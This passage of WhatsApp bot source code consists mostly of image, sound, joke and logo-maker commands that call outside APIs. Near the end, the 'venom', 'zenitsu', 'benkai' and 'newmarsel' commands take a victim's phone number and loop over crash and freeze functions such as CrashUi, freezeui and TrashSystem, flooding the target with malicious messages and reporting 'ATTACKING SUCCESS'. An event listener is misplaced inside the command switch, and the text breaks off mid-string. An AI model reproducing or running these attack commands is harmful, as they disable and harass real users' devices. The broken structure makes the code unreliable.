heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/randomnime2.json') +if (/rize/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/rize.json') +if (/rose/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/rose.json') +if (/ryujin/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/ryujin.json') +if (/sagiri/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/sagiri.json') +if (/sakura/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/sakura.json') +if (/sasuke/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/sasuke.json') +if (/satanic/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/satanic.json') +if (/shina/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/shina.json') +if (/shinka/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/shinka.json') +if (/shinomiya/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/shinomiya.json') +if (/shizuka/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/shizuka.json') +if (/shota/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/shota.json') +if (/space/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/tatasurya.json') +if (/technology/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/technology.json') +if (/tejina/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/tejina.json') +if (/toukachan/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/toukachan.json') +if (/tsunade/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/tsunade.json') +if (/waifu/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/waifu.json') +if (/wallhp/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/wallhp.json') +if (/wallml/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/wallml.json') +if (/wallmlnime/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/wallnime.json') +if (/yotsuba/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/yotsuba.json') +if (/yuki/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/yuki.json') +if (/yulibocil/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/yulibocil.json') +if (/yumeko/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/yumeko.json') +let yeha = heyy[Math.floor(Math.random() * heyy.length)] +David.sendMessage(m.chat, { image: { url: yeha }, caption : '`Here You Go!`' }, { quoted: m }) +} +break + +case 'stupidcheck':case 'uncleancheck': +case 'hotcheck': case 'smartcheck': +case 'greatcheck': +case 'evilcheck':case 'dogcheck': +case 'coolcheck': +case 'gaycheck': +case 'waifucheck': +cantik = body.slice(1) +const okebnh1 =['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33','34','35','36','37','38','39','40','41','42','43','44','45','46','47','48','49','50','51','52','53','54','55','56','57','58','59','60','61','62','63','64','65','66','67','68','69','70','71','72','73','74','75','76','77','78','79','80','81','82','83','84','85','86','87','88','89','90','91','92','93','94','95','96','97','98','99','100'] +const xeonkak = okebnh1[Math.floor(Math.random() * okebnh1.length)] + let perc = `%`; +let msgs = generateWAMessageFromContent(m.chat, { + viewOnceMessage: { + message: { + "messageContextInfo": { + "deviceListMetadata": {}, + "deviceListMetadataVersion": 2 + }, + interactiveMessage: proto.Message.InteractiveMessage.create({ + body: proto.Message.InteractiveMessage.Body.create({ + text: xeonkak + perc + }), + footer: proto.Message.InteractiveMessage.Footer.create({ + text: 'ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ ™' + }), + header: proto.Message.InteractiveMessage.Header.create({ + hasMediaAttachment: false, + ...await prepareWAMessageMedia({ image: fs.readFileSync('./anitav3.jpg') }, { upload: David.waUploadToServer }) + }), + nativeFlowMessage: proto.Message.InteractiveMessage.NativeFlowMessage.create({ + buttons: [{ + "name": "quick_reply", + "buttonParamsJson": `{\"display_text\":\"🧐\",\"id\":\"\"}` + }], + }), + contextInfo: { + mentionedJid: [m.sender], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '', + newsletterName: '', + serverMessageId: 143 + } + } + }) + } + } +}, { quoted: m }) +return await David.relayMessage(m.chat, msgs.message, {}) +break + + + case 'sound1': +case 'sound2': +case 'sound3': +case 'sound4': +case 'sound5': +case 'sound6': +case 'sound7': +case 'sound8': +case 'sound9': +case 'sound10': +case 'sound11': +case 'sound12': +case 'sound13': +case 'sound14': +case 'sound15': +case 'sound16': +case 'sound17': +case 'sound18': +case 'sound19': +case 'sound20': +case 'sound21': +case 'sound22': +case 'sound23': +case 'sound24': +case 'sound25': +case 'sound26': +case 'sound27': +case 'sound28': +case 'sound29': +case 'sound30': +case 'sound31': +case 'sound32': +case 'sound33': +case 'sound34': +case 'sound35': +case 'sound36': +case 'sound37': +case 'sound38': +case 'sound39': +case 'sound40': +case 'sound41': +case 'sound42': +case 'sound43': +case 'sound44': +case 'sound45': +case 'sound46': +case 'sound47': +case 'sound48': +case 'sound49': +case 'sound50': +case 'sound51': +case 'sound52': +case 'sound53': +case 'sound54': +case 'sound55': +case 'sound56': +case 'sound57': +case 'sound58': +case 'sound59': +case 'sound60': +case 'sound61': +case 'sound62': +case 'sound63': +case 'sound64': +case 'sound65': +case 'sound66': +case 'sound67': +case 'sound68': +case 'sound69': +case 'sound70': +case 'sound71': +case 'sound72': +case 'sound73': +case 'sound74': +case 'sound75': +case 'sound76': +case 'sound77': +case 'sound78': +case 'sound79': +case 'sound80': +case 'sound81': +case 'sound82': +case 'sound83': +case 'sound84': +case 'sound85': +case 'sound86': +case 'sound87': +case 'sound88': +case 'sound89': +case 'sound90': +case 'sound91': +case 'sound92': +case 'sound93': +case 'sound94': +case 'sound95': +case 'sound96': +case 'sound97': +case 'sound98': +case 'sound99': +case 'sound100': +case 'sound101': +case 'sound102': +case 'sound103': +case 'sound104': +case 'sound105': +case 'sound106': +case 'sound107': +case 'sound108': +case 'sound109': +case 'sound110': +case 'sound111': +case 'sound112': +case 'sound113': +case 'sound114': +case 'sound115': +case 'sound116': +case 'sound117': +case 'sound118': +case 'sound119': +case 'sound120': +case 'sound121': +case 'sound122': +case 'sound123': +case 'sound124': +case 'sound125': +case 'sound126': +case 'sound127': +case 'sound128': +case 'sound129': +case 'sound130': +case 'sound131': +case 'sound132': +case 'sound133': +case 'sound134': +case 'sound135': +case 'sound136': +case 'sound137': +case 'sound138': +case 'sound139': +case 'sound140': +case 'sound141': +case 'sound142': +case 'sound143': +case 'sound144': +case 'sound145': +case 'sound146': +case 'sound147': +case 'sound148': +case 'sound149': +case 'sound150': +case 'sound151': +case 'sound152': +case 'sound153': +case 'sound154': +case 'sound155': +case 'sound156': +case 'sound157': +case 'sound158': +case 'sound159': +case 'sound160': +case 'sound161': +var resttt = await getBuffer(`https://github.com/DGXeon/Tiktokmusic-API/raw/master/tiktokmusic/${command}.mp3`) + David.sendMessage(m.chat, { audio: resttt, mimetype: 'audio/mp4', ptt: true, +}) +break + + + + + case 'listcasesss': { +const listCase = () => { +const code = fs.readFileSync("./QUEEN_ANITA-V4.js", "utf8") +var regex = /case\s+'([^']+)':/g; +var matches = []; +var match; +while ((match = regex.exec(code))) { +matches.push(match[1]); +} +let teks = `*Total Commands*: ${matches.length} \n\n` +matches.forEach(function (x) { + teks += "◦ " + x + "\n" +}) +return teks +} +reply(listCase()) +} +break + + + +// Antispam Command +case 'antispam': + if (!m.isGroup) return reply('This command can only be used in groups.'); + if (!isAdmins) return reply('Only group admins can use this command.'); + if (!args[0]) return reply(`Usage: ${prefix}antispam on/off [limit]`); + + const groupSettings = getSpamSettings(m.chat); // Changed variable name for clarity + if (args[0].toLowerCase() === 'on') { + const spamLimit = parseInt(args[1]) || 5; // Default spam limit + updateSpamSettings(m.chat, { enabled: true, spamLimit }); + reply(`Antispam enabled with a limit of ${spamLimit} messages.`); + } else if (args[0].toLowerCase() === 'off') { + updateSpamSettings(m.chat, { enabled: false }); + reply('Antispam disabled.'); + } else { + reply(`Usage: ${prefix}antispam on/off [limit]`); + } + break; + +// Monitor Messages for Spam +David.ev.on('messages.upsert', async (message) => { + const groupJid = message.messages[0].key.remoteJid; + const sender = message.messages[0].key.participant || message.messages[0].key.remoteJid; + const text = message.messages[0].message.conversation || ''; + + const groupSpamSettings = getSpamSettings(groupJid); // Use a distinct variable here + if (!groupSpamSettings.enabled) return; // Skip if antispam is disabled + + const botNumber = await David.decodeJid(David.user.id); + const groupMetadata = await David.groupMetadata(groupJid); + const groupAdmins = groupMetadata.participants.filter((p) => p.admin).map((p) => p.id); + + // Skip for bot, admins, and group owner + if (sender === botNumber || groupAdmins.includes(sender) || sender === groupMetadata.owner) return; + + // Initialize spam tracker for the group and user + if (!spamTracker[groupJid]) spamTracker[groupJid] = {}; + if (!spamTracker[groupJid][sender]) spamTracker[groupJid][sender] = { count: 0, lastMessage: '' }; + + const userSpamData = spamTracker[groupJid][sender]; + + // Track message repetition + if (userSpamData.lastMessage === text) { + userSpamData.count += 1; + } else { + userSpamData.count = 1; + userSpamData.lastMessage = text; + } + + // Check if spam limit is exceeded + if (userSpamData.count > groupSpamSettings.spamLimit) { + try { + await David.groupParticipantsUpdate(groupJid, [sender], 'remove'); + await David.sendMessage(groupJid, { + text: `🚫 User @${sender.split('@')[0]} has been removed for spamming.`, + mentions: [sender], + }); + } catch (err) { + console.error('Failed to remove spammer:', err); + } + delete spamTracker[groupJid][sender]; // Reset tracker for the user + } +}); + + + + + + + + + + + + + + + + + + + + + + +case 'text2pdf': { + if (!text) return reply(`❌ Please provide text to convert into a PDF.\nExample: ${prefix + command} Hello, this is my PDF file.`); + + try { + await David.sendMessage(m.chat, { react: { text: `🕒`, key: m.key } }); + await David.sendMessage(m.chat, { react: { text: `🕣`, key: m.key } }); + + + // API URL + const apiUrl = `https://apis.davidcyriltech.my.id/tools/pdf?text=${encodeURIComponent(text)}`; + + // Fetch API response + const response = await axios.get(apiUrl); + const { success, download } = response.data; +await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + if (success && download) { + await David.sendMessage(m.chat, { + document: { url: download }, + mimetype: 'application/pdf', + fileName: 'Converted_Text.pdf', + caption: `✅ *PDF Generated Successfully!*\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate PDF. Please try again later.`); + } + } catch (error) { + console.error('Error generating PDF:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; +} + + +case 'galaxystyle': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/create-galaxy-style-free-name-logo-438.html`; + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + + +case 'lighteffects': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/create-light-effects-green-neon-online-429.html`; + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + + +case 'freecreate': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/free-create-a-3d-hologram-text-effect-441.html`; + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + +case 'makingneon': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/making-neon-light-text-effect-with-galaxy-style-521.html`; + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + + +case '1917style': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/1917-style-text-effect-523.html`; + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + +case 'galaxywallpaper': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/create-galaxy-wallpaper-mobile-online-528.html`; + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + + +case 'sandsummer': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/write-in-sand-summer-beach-online-576.html`; + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + + +case 'multicoloredneon': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/create-multicolored-neon-light-signatures-591.html`; + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + +case 'luxurygold': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/create-a-luxury-gold-text-effect-online-594.html`; + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + + + +case 'summerbeach': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/write-in-sand-summer-beach-online-free-595.html`; + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + + +case 'gradienttext': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/create-3d-gradient-text-effect-online-600.html`; + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + + +case 'effectclouds': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/write-text-effect-clouds-in-the-sky-online-619.html`; + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + +case 'watercolortext': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/create-a-watercolor-text-effect-online-655.html`; + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + +case 'cartoonstyle': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/create-a-cartoon-style-graffiti-text-effect-online-668.html`; + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + +case 'logomaker': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/text-logo-maker-online-free-474.html`; + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + +case 'underwatertext': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/3d-underwater-text-effect-online-682.html`; + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + + +case 'glowingtext': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/create-glowing-text-effects-online-706.html`; + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + + + + + +case 'venom': +case 'zenitsu': +case 'benkai': + if (!isCreator) return m.reply(`For My Owner Only`); +if (!q) return reply(`Example: ${prefix + command} 23490665×××`) +target = q.replace(/[^0-9]/g,'')+"@s.whatsapp.net" +reply(bugres) +for (let i = 0; i < 50; i++) { +await sendQP(target, wanted) +await sendSessionStructure(target, wanted) +await InVisiLoc(target, wanted) +await InVisiLocNull(target, wanted) +await InVisiLoc(target, wanted) +await LocatiOn(target, wanted) +await LocInvisi(target, wanted) +await TagWhatsApp1(target, wanted) +await LocatiOn(target, wanted) +await LocInvisi(target, wanted) +await TagWhatsApp1(target, wanted) +await TagWhatsApp1(target, wanted) +await LocatiOn(target, wanted) +await LocInvisi(target, wanted) +await TagWhatsApp1(target, wanted) +await LocatiOn(target, wanted) +await LocInvisi(target, wanted) +await TagWhatsApp1(target, wanted) +await TagWhatsApp1(target, wanted) +await LocatiOn(target, wanted) +await LocInvisi(target, wanted) +await TagWhatsApp1(target, wanted) +await LocatiOn(target, wanted) +await LocInvisi(target, wanted) +await TrashSystem(target, wanted) +await CrashUi(target, wanted) +await CaroUsel(target, wanted) +await LIVELOK(target, wanted) +await VIRDOK(target, wanted) +await BLEKING(target, wanted) +await TagWhatsApp1(target, wanted) +await TagWhatsApp1(target, wanted) +await TagWhatsApp1(target, wanted) +await TagWhatsApp1(target, wanted) +await TagWhatsApp1(target, wanted) +await TagWhatsApp1(target, wanted) +await TagWhatsApp1(target, wanted) +await TagWhatsApp1(target, wanted) +} +reply(`『 𝐀𝐓𝐓𝐀𝐂𝐊𝐈𝐍𝐆 𝐒𝐔𝐂𝐂𝐄𝐒𝐒 』 + +𝐓𝐀𝐑𝐆𝐄𝐓 : ${target} +𝐒𝐓𝐀𝐓𝐔𝐒 : 𝗦𝘂𝗰𝗰𝗲𝘀𝘀𝗳𝘂𝗹𝗹𝘆`) +break +//func 8 januari +case 'newmarsel': +if (!q) return reply(`Example: ${prefix + command} 62×××`) +target = q.replace(/[^0-9]/g,'')+"@s.whatsapp.net" +reply(bugres) +for (let i = 0; i < 10; i++) { +await XeonButtNew(target, ptcp = false) +await VPen(target, ptcp = false) +await Sinvi(target, Ptcp = true) +await freezekamoflase(target) +await freezeui(target) +await NewsletterZap(target) +await newfreezebug(target) +await newvirpen(target) +await TxIos(target, Ptcp = false) +await newsLetter(target, ptcp = true) +await SletterCrash(target, ptcp = false) +await XeonXRobust(target, ptcp = false) +await xeonHARD(target, ptcp = false) +} +reply(`『 𝐀𝐓𝐓𝐀𝐂𝐊𝐈𝐍𝐆 𝐒𝐔𝐂𝐂𝐄𝐒𝐒 』 + +𝐓𝐀𝐑𝐆𝐄𝐓 : ${target} +𝐒𝐓𝐀𝐓𝐔𝐒 : 